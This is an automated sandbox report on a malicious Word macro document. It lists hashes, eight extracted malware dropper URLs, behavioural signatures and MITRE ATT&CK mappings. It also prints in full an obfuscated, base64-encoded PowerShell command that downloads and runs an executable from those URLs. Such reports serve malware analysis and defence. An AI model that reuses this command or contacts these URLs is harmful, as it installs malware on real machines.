b55af8491b36883ce6fd045e8bf6eda70fc53c4ec9fcef3b56dca6ec970f5c09

General

Target
DOC_PO_10222020EX.doc
Size 184KB
Sample201022-vcvkbpfsfe
SHA256 b55af8491b36883ce6fd045e8bf6eda70fc53c4ec9fcef3b56dca6ec970f5c09
MD5 74a669b2986f71d13940c40013a01f1a
SHA1 5b9ba665e985894c4ece7044b949568af77c3d9a
SHA512 d5e83f0f245b76209cf30d39c2b6e70db5b0196c063c8caffa0db72eae6a5e97681ac80cf2c7240a7eb1f3be7ad8d15e5693b43095250a0eaf1cc5740d0e866d
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://eubanks7.com/administrator/ubdDbB/
exe.dropper
https://erkala.com/wp-admin/mi5m/
exe.dropper
http://lidoraggiodisole.it/cgi-bin/zLG879/
exe.dropper
http://nickjehlen.com/oldsite/nZSNQ/
exe.dropper
http://www.riminvest.vn/install/Zxh/
exe.dropper
http://www.1ca.co.za/1cAdmin/b/
exe.dropper
http://paulscomputing.com/CraigsMagicSquare/f/
exe.dropper
http://wikibricolage.com/wp-admin/XiZrby/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	2148	POwersheLL.exe	72

Blacklisted process makes network request 2 IoCs

flow	pid	Process
21	196	POwersheLL.exe
23	196	POwersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
196	POwersheLL.exe
196	POwersheLL.exe
196	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	196	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_PO_10222020EX.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IABTAGUAVAAtAEkAVABFAE0AIABWAGEAcgBpAGEAYgBsAGUAOgBWAGgARAAyADkANQAgACAAKAAgACAAWwBUAHkAcABlAF0AKAAiAHsAMgB9AHsANAB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAJwAuAGQASQByAEUAQwB0AG8AUgBZACcALAAnAFQARQBtAC4AJwAsACcAUwBZACcALAAnAGkATwAnACwAJwBzACcAKQApADsAIAAgACAAJAB0AHcAOQA9AFsAdAB5AHAAZQBdACgAIgB7ADMAfQB7ADUAfQB7ADYAfQB7ADEAfQB7ADcAfQB7ADAAfQB7ADgAfQB7ADIAfQB7ADQAfQAiAC0AZgAgACcATQBhAG4AYQAnACwAJwBWAEkAYwBlAHAAbwBpACcALAAnAGUAJwAsACcAUwB5AFMAJwAsACcAUgAnACwAJwBUAGUAbQAuAG4AZQBUAC4AUwAnACwAJwBlAHIAJwAsACcAbgB0ACcALAAnAGcAJwApACAAIAA7ACAAJABJADAAcgBlADIAMwBlAD0AKAAnAFgAZwAnACsAJwBzAGQAJwArACgAJwBfADAAJwArACcAcgAnACkAKQA7ACQAWQAzADgAMABvADEAZgA9ACQASQBxAHAANQB1AGUAYQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARAB4AGQAOABvAHYAeAA7ACQASAA0AHgAcQBpAGIAagA9ACgAKAAnAEEAaQAnACsAJwBsAHQAJwApACsAKAAnAHYAJwArACcAOABuACcAKQApADsAIAAkAFYASABkADIAOQA1ADoAOgAiAEMAcgBFAGAAQQB0AGUAZABJAFIAZQBgAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHMAJwArACgAJwBhACcAKwAnAGMASgAnACkAKwAoACcAZQAnACsAJwBoAGgAegAnACsAJwBkAGEAJwApACsAKAAnAHMAYQAnACsAJwBjACcAKQArACgAJwBCAGUAbgAxADQAJwArACcAZgAnACsAJwByAHMAYQBjACcAKQApAC4AIgByAEUAYABQAEwAQQBDAEUAIgAoACgAJwBzAGEAJwArACcAYwAnACkALAAnAFwAJwApACkAKQA7ACQAUQA1AG8AbQAyAHgAdQA9ACgAJwBZACcAKwAoACcAeQAnACsAJwBhAGUAegAnACsAJwBpAHYAJwApACkAOwAgACAAKABDAEgAaQBsAEQASQBUAGUAbQAgACgAJwBWAGEAcgAnACsAJwBpAGEAQgBsAEUAOgBUACcAKwAnAFcAJwArACcAOQAnACkAIAApAC4AdgBBAEwAdQBlADoAOgAiAHMARQBjAFUAcgBgAGkAdAB5AHAAcgBgAG8AVABvAGMAYABPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAE4AegA1AGcAbABiAGwAPQAoACgAJwBFADQANQAnACsAJwBtACcAKQArACcANQAnACsAJwBzAGkAJwApADsAJABHAHIAcQA0ADAAMwBsACAAPQAgACgAKAAnAEcAXwBqACcAKwAnAHUAJwApACsAJwBnACcAKwAnAGsAJwApADsAJABRAGoAcABzAHYAYQBmAD0AKAAoACcAVQB4ADAAXwAnACsAJwA4AGQAJwApACsAJwBnACcAKQA7ACQAUAB0AGQAZwA5ADUAaAA9ACgAKAAnAEwAcAAnACsAJwA1ADcAJwApACsAKAAnADEAMAAnACsAJwBhACcAKQApADsAJABTAGcAdwBxADcANwA5AD0AJABIAE8ATQBFACsAKAAoACgAJwBGADUAQgBKACcAKwAnAGUAaAAnACkAKwAnAGgAegAnACsAJwBkACcAKwAoACcAYQBGADUAJwArACcAQgBCACcAKQArACgAJwBlAG4AMQAnACsAJwA0AGYAJwArACcAcgBGADUAQgAnACkAKQAuACIAUgBlAFAAbABgAEEAQwBlACIAKAAoAFsAQwBoAEEAcgBdADcAMAArAFsAQwBoAEEAcgBdADUAMwArAFsAQwBoAEEAcgBdADYANgApACwAWwBzAHQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADkAMgApACkAKwAkAEcAcgBxADQAMAAzAGwAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABHAHcAZwA5ADgAdQAxAD0AKAAnAEEANwAnACsAJwBiAHoAJwArACgAJwA2ACcAKwAnAHMAbQAnACkAKQA7ACQAUwBsAGwAOABvAGsAdQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgBXAGUAYgBDAEwASQBFAG4AdAA7ACQARwBfAGEAdwBoAGkAOQA9ACgAKAAnAGgAdAB0AHAAOgA9ACcAKwAnAFAATwAnACsAJwAzACcAKQArACcAMgA9ACcAKwAoACcAUABPADMAMgBlACcAKwAnAHUAYgBhACcAKwAnAG4AawBzACcAKwAnADcALgAnACsAJwBjAG8AJwApACsAJwBtAD0AJwArACcAUABPACcAKwAnADMAJwArACgAJwAyAGEAZABtAGkAJwArACcAbgBpACcAKQArACgAJwBzAHQAcgAnACsAJwBhAHQAbwByAD0AJwArACcAUAAnACkAKwAnAE8AMwAnACsAKAAnADIAJwArACcAdQBiACcAKQArACgAJwBkAEQAYgAnACsAJwBCAD0AUABPACcAKwAnADMAJwArACcAMgBAAGgAJwApACsAJwB0AHQAJwArACgAJwBwAHMAJwArACcAOgAnACkAKwAnAD0AJwArACgAJwBQACcAKwAnAE8AMwAnACkAKwAoACcAMgAnACsAJwA9AFAAJwApACsAKAAnAE8AJwArACcAMwAnACsAJwAyAGUAcgBrACcAKQArACgAJwBhAGwAYQAnACsAJwAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAnACsAJwA9AFAATwAzADIAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAnAG4AJwArACgAJwA9AFAATwAnACsAJwAzACcAKQArACcAMgAnACsAJwBtAGkAJwArACgAJwA1ACcAKwAnAG0APQAnACkAKwAoACcAUAAnACsAJwBPADMAMgBAACcAKQArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAPQAnACkAKwAoACcAUAAnACsAJwBPADMAMgAnACkAKwAnAD0AUAAnACsAJwBPACcAKwAoACcAMwAyACcAKwAnAGwAaQAnACsAJwBkAG8AcgBhAGcAZwBpAG8AZAAnACsAJwBpACcAKQArACcAcwBvACcAKwAoACcAbAAnACsAJwBlAC4AaQB0AD0AJwArACcAUABPADMAJwApACsAJwAyACcAKwAnAGMAJwArACgAJwBnAGkAJwArACcALQAnACkAKwAoACcAYgBpACcAKwAnAG4APQBQAE8AJwApACsAJwAzADIAJwArACcAegAnACsAKAAnAEwAJwArACcARwA4ACcAKwAnADcAOQA9AFAAJwApACsAKAAnAE8AMwAyACcAKwAnAEAAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcAPQAnACsAJwBQAE8AJwApACsAKAAnADMAMgAnACsAJwA9AFAAJwApACsAJwBPACcAKwAnADMAMgAnACsAJwBuACcAKwAnAGkAJwArACgAJwBjACcAKwAnAGsAJwArACcAagBlAGgAbABlAG4ALgBjAG8AJwArACcAbQA9AFAAJwArACcATwAzADIAbwBsAGQAJwApACsAKAAnAHMAJwArACcAaQB0AGUAPQBQAE8AMwAnACsAJwAyAG4AJwArACcAWgBTACcAKQArACgAJwBOAFEAPQBQACcAKwAnAE8AJwArACcAMwAnACkAKwAnADIAQAAnACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgA9AFAAJwApACsAJwBPACcAKwAoACcAMwAyAD0AJwArACcAUABPADMAMgB3AHcAdwAnACsAJwAuACcAKwAnAHIAJwArACcAaQAnACkAKwAoACcAbQBpACcAKwAnAG4AdgBlAHMAJwApACsAJwB0ACcAKwAoACcALgAnACsAJwB2AG4APQBQAE8AMwAyAGkAJwArACcAbgAnACkAKwAnAHMAJwArACcAdAAnACsAJwBhACcAKwAnAGwAbAAnACsAKAAnAD0AUAAnACsAJwBPADMAMgBaAHgAaAA9AFAATwAnACsAJwAzADIAJwArACcAQAAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAnADoAJwArACcAPQAnACsAKAAnAFAAJwArACcATwAzADIAPQAnACkAKwAnAFAAJwArACcATwAnACsAKAAnADMAMgB3AHcAJwArACcAdwAnACsAJwAuADEAYwAnACkAKwAnAGEALgAnACsAJwBjACcAKwAnAG8AJwArACcALgAnACsAJwB6ACcAKwAnAGEAJwArACgAJwA9AFAATwAnACsAJwAzACcAKQArACgAJwAyACcAKwAnADEAYwBBACcAKQArACcAZAAnACsAKAAnAG0AaQBuAD0AUAAnACsAJwBPACcAKQArACcAMwAyACcAKwAnAGIAPQAnACsAKAAnAFAATwAzACcAKwAnADIAJwApACsAKAAnAEAAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwA9AFAATwAzACcAKQArACgAJwAyAD0AUABPACcAKwAnADMAJwApACsAJwAyAHAAJwArACcAYQAnACsAKAAnAHUAbAAnACsAJwBzAGMAbwAnACkAKwAnAG0AcAAnACsAJwB1ACcAKwAoACcAdABpAG4AJwArACcAZwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwA9AFAATwAzADIAJwApACsAKAAnAEMAJwArACcAcgBhAGkAZwAnACkAKwAnAHMATQAnACsAJwBhAGcAJwArACcAaQAnACsAJwBjAFMAJwArACcAcQAnACsAJwB1AGEAJwArACgAJwByACcAKwAnAGUAPQBQAE8AMwAnACkAKwAoACcAMgBmACcAKwAnAD0AUAAnACkAKwAoACcATwAzADIAQABoACcAKwAnAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AD0AJwArACcAUABPACcAKwAnADMAMgAnACkAKwAnAD0AJwArACgAJwBQAE8AJwArACcAMwAnACkAKwAoACcAMgB3ACcAKwAnAGkAJwApACsAKAAnAGsAaQAnACsAJwBiAHIAaQAnACkAKwAnAGMAbwAnACsAKAAnAGwAJwArACcAYQBnAGUALgBjAG8AbQAnACsAJwA9ACcAKwAnAFAAJwArACcATwAzADIAdwBwACcAKwAnAC0AJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgA9AFAAJwArACcATwAnACkAKwAoACcAMwAyAFgAaQAnACsAJwBaACcAKQArACgAJwByAGIAJwArACcAeQA9AFAAJwApACsAJwBPACcAKwAnADMAMgAnACkALgAiAFIAYABFAFAATABBAGAAYwBFACIAKAAoACgAJwA9AFAATwAnACsAJwAzACcAKQArACcAMgAnACkALAAnAC8AJwApAC4AIgBTAFAAbABgAEkAdAAiACgAJABCAGgAeQBiAGQAZQBmACAAKwAgACQAWQAzADgAMABvADEAZgAgACsAIAAkAEEAXwBiAGYAaABrAGgAKQA7ACQAUQA1ADIAbAA5AGoANwA9ACgAJwBVADUAJwArACgAJwBmACcAKwAnAGIAMwAnACkAKwAnAHQAdgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFcAeAB5AG4AagAxADkAIABpAG4AIAAkAEcAXwBhAHcAaABpADkAKQB7AHQAcgB5AHsAJABTAGwAbAA4AG8AawB1AC4AIgBkAGAAbwBXAG4ATABvAEEARABmAGAAaQBsAGUAIgAoACQAVwB4AHkAbgBqADEAOQAsACAAJABTAGcAdwBxADcANwA5ACkAOwAkAEMAMQA0AHQAbABfAGIAPQAoACcATAAnACsAKAAnAG0AOAAnACsAJwA5AHMAdgBkACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFMAZwB3AHEANwA3ADkAKQAuACIAbABFAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADQANAA2ADgANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACgAJwBpAG4AMwAyACcAKwAnAF8AUAAnACkAKwAoACcAcgBvAGMAZQAnACsAJwBzAHMAJwApACkAKQAuACIAYwBgAFIAYABlAGEAVABFACIAKAAkAFMAZwB3AHEANwA3ADkAKQA7ACQARwBjAGEAMwBiAGYANQA9ACgAJwBQACcAKwAoACcAagBrADAAZQAnACsAJwBjAHQAJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAYgByAHMAeQBzAHgAPQAoACcAUAAnACsAKAAnADYAJwArACcAdwBtADkAdQBoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLAG0AdABxAHUAZwBjAD0AKAAoACcAWgBoAHoAJwArACcAMQAnACkAKwAoACcAMwBnACcAKwAnAG0AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/196-7-0x00007FF8B8240000-0x00007FF8B8C2C000-memory.dmp

Download

memory/196-8-0x00000206FB3C0000-0x00000206FB3C1000-memory.dmp

Download

memory/196-9-0x00000206FB770000-0x00000206FB771000-memory.dmp

Download

memory/3888-0-0x00007FF8BF5A0000-0x00007FF8BFC66000-memory.dmp

Download

memory/3888-5-0x000001A953959000-0x000001A953966000-memory.dmp

Download

memory/3888-6-0x000001A953959000-0x000001A953966000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads